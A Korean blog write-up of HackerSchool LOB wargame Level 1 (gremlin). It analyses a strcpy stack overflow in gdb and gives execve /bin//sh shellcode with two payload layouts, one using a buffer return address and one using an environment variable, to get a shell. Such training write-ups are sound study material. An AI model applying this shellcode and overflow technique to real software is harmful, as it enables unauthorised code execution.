Wargame/해커스쿨 LOB

[HackerSchool LOB] Level 1 문제 풀이

핏디 2021. 7. 17. 12:56
SMALL

[풀이]

ID : gate

PW : gate

 

주어진 id와 pw로 접속하면 gate계정의 쉘이 나온다.

gremlin이라는 c코드와 실행파일이 존재하였고, 실행파일을 실행시키면

 

입력 값을 그대로 출력하는 것을 알 수 있다.

 

gremlin.c 코드를 확인하면 다음과 같다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]); //복사 받을 대상의 크기와 상관없이 모두 복사하는 함수 -> BOF 취약점 발생
    printf("%s\n", buffer);
}

특별하게 보이는 것은 없어 gdb를 실행해보았다.

 

disass main 명령을 입력하니 at&t 문법으로 되어 있어 intel 형식으로 변환하였다.

(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret

 

코드를 분석해보면, main+3 을 통해 할당된 스택의 크기가 0x100(256)임을 알 수 있다.

main+62에서 ebp-256에 argv[1] 값을 저장하는데, 이는 곧 스택의 처음부터 저장한다는 것을 의미한다.

buffer[256]
sfp[4]
ret[4]

gremlin의 스택 구조을 보아 2가지 방안을 생각해볼 수 있다.

 

1. shellcode[25]+dummy[235]+buffer address[4]

2. shellcode[25]를 환경 변수로 설정한 뒤 해당 환경 변수의 주소를 구할수 있는 c코드 작성+dummy[260]+구한 shell의 주소

 

1번

쉘코드는 25바이트 코드를 이용할 것이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

buffer의 주소를 구해야 하는데, 다양한 방법이 있었다.

1. 인자값 전달 후 메모리 확인

-> ebp-256으로 봐도 될 것 같음!

 

2. 소스코드 변경

-> %s을 %p로 변경하면 주소 값을 바로 볼 수 있음!

 

`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*235 + "\x28\xf9\xff\xbf"'`

?? 0xbffff968해야 될 것 같은데 28로 해야 나옴! 왜지??

 

2번

쉘코드를 환경변수로 설정해준다.

export SHELL = `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

SHELL에 대한 주소를 구하기 위해 /tmp 폴더로 이동해서 getenv.c라는 파일을 만든다.

int main(){
        printf("address is 0x%x\n", getenv("SHELL"));
}

 

컴파일 후 실행해보면 주소를 구할 수 있다.

 

이것을 dummy[260](sfp 포함) + SHELL 주소 형태로 입력하면 exploit할 수 있다.

./gremlin `python -c 'print "A"*260+"\x9e\xfe\xff\xbf"'`

 


[출처]

https://mandu-mandu.tistory.com/44

 

해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이

해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이 M4ndU 해커스쿨 LOB [gate -> gremlin] 풀이입니다. ID | gate PW | gate 으로 로그인합니다. \xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다. $ bash2..

mandu-mandu.tistory.com

https://155734.tistory.com/38

 

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level1

LOB란 Lord Of Buffer overflow의 약자로, 1단계부터 20단계까지 있으며, 버퍼 오버플로우 관련 문제들을 모아놓은 것이라고 한다. 우선 시작하기 전에 root 계정으로 로그인 후 /etc/passwd에서 :%s/bash/bash2/..

155734.tistory.com

https://dokhakdubini.tistory.com/41

 

[해커스쿨 LOB] Level1: gate >> gremlin

Level 1. Gate >> Gremlin Theme: Basic BufferOverFlow LOB에 오신 여러분들 환영합니다! 우선 들어가줍시다. id: gate pw: gate 아 일단 첫 문제인 만큼, 우리가 이 문제를 왜 풀고있으며, 어떻게 하면 이..

dokhakdubini.tistory.com


 

LIST

'Wargame > 해커스쿨 LOB' 카테고리의 다른 글

[HackerSchool LOB] Level 2 문제 풀이  (0) 2021.07.17
[HackerSchool LOB] Level 0 문제 풀이  (0) 2021.07.17